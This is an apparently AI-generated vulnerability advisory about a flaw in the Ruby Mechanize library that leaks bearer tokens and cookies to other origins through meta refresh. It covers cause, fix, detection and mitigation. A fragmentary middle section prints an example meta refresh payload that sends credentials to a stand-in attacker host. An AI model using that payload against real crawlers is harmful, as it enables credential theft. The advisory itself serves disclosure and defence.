
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-107399 is a credential disclosure vulnerability in the Ruby Mechanize library (used for automating website interaction) where the library fails to enforce an origin trust boundary when following HTML meta refresh directives. Prior to version 2.14.1, Mechanize::HTTP::Agent#response_follow_meta_refresh re-applies all headers configured via Mechanize#request_headers= — including bearer tokens and session cookies — to requests targeting a different origin, effectively leaking credentials to attacker-controlled destinations. The vulnerability affects all Mechanize versions before 2.14.1 and was disclosed on August 23, 2026. It carries a CVSS v3.1 base score of 6.8 (Medium) (GitHub Advisory).
The root cause is the absence of an origin check in Mechanize::HTTP::Agent#response_follow_meta_refresh, classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-522 (Insufficiently Protected Credentials), and CWE-201 (Insertion of Sensitive Information Into Sent Data). When Mechanize#follow_meta_refresh is enabled, the method fetches the meta refresh target URL with an empty per-request headers hash but then re-applies the agent-level @request_headers unconditionally — with no check for whether the target URL crosses an origin boundary (different scheme, host, or port). This contrasts with the existing HTTP redirect path, which already had protections to strip credential headers on cross-origin redirects. The fix (commit 84c74df) applies the #crosses_origin? check to the meta refresh path and ensures withheld credentials remain withheld for the entire operation (commit 02a1235) (GitHub PR #676, GitHub Advisory).
Successful exploitation results in the disclosure of caller-supplied credential headers — specifically bearer tokens and session cookies set via Mechanize#request_headers= — to an attacker-controlled origin. The impact is limited to confidentiality; there is no integrity or availability impact. The exposure is scoped to applications that have explicitly enabled follow_meta_refresh (disabled by default) and supply credentials through request_headers=, a pattern common in web crawlers and automated scraping tools (GitHub Advisory).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the disclosure date. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires the attacker to control or influence content fetched by a Mechanize agent with follow_meta_refresh enabled — achievable via stored content injection, open redirects, or control of any page in the crawl path. The non-default configuration requirement (follow_meta_refresh = true) significantly limits the attack surface (GitHub Advisory, Feedly).
follow_meta_refresh = true enabled and credentials (e.g., Authorization: Bearer <token>) set via Mechanize#request_headers=.<meta http-equiv="refresh" content="0;url=https://attacker.example.com/capture">.@request_headers — including the Authorization bearer token or session cookie — to the cross-origin request, which the attacker's server logs.<meta http-equiv="refresh"> tags; Authorization or Cookie headers observed in requests to domains outside the intended crawl scope.Authorization: Bearer or Cookie headers from the victim application's IP.Gemfile.lock or gem environment (gem list mechanize); application code with agent.follow_meta_refresh = true combined with agent.request_headers = { 'Authorization' => ... }.Upgrade the Mechanize gem to version 2.14.1 or later, which applies the same cross-origin credential-stripping rules to meta refresh directives as to HTTP redirects (Mechanize v2.14.1 Release). If immediate patching is not possible, set follow_meta_refresh = false (the default value) to disable meta refresh following entirely, or avoid passing credentials via Mechanize#request_headers= when meta refresh following is enabled. Review all Mechanize-based crawlers and agents in your environment to identify those with follow_meta_refresh enabled, as these represent the full attack surface (GitHub Advisory).
The vulnerability was reported and fixed by Mike Dalessio (flavorjones), the Mechanize maintainer, who also authored the advisory. The fix was part of a broader security release (v2.14.1) addressing three related credential-leakage issues (GHSA-2mwr-xjcg-37j7, GHSA-5jgv-wc2m-xv99, and GHSA-c6rp-p8xm-4q9f). Red Hat tracked the issue via Bugzilla (bug 2548278), indicating downstream package maintainers are aware and assessing impact (Red Hat CVE, GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."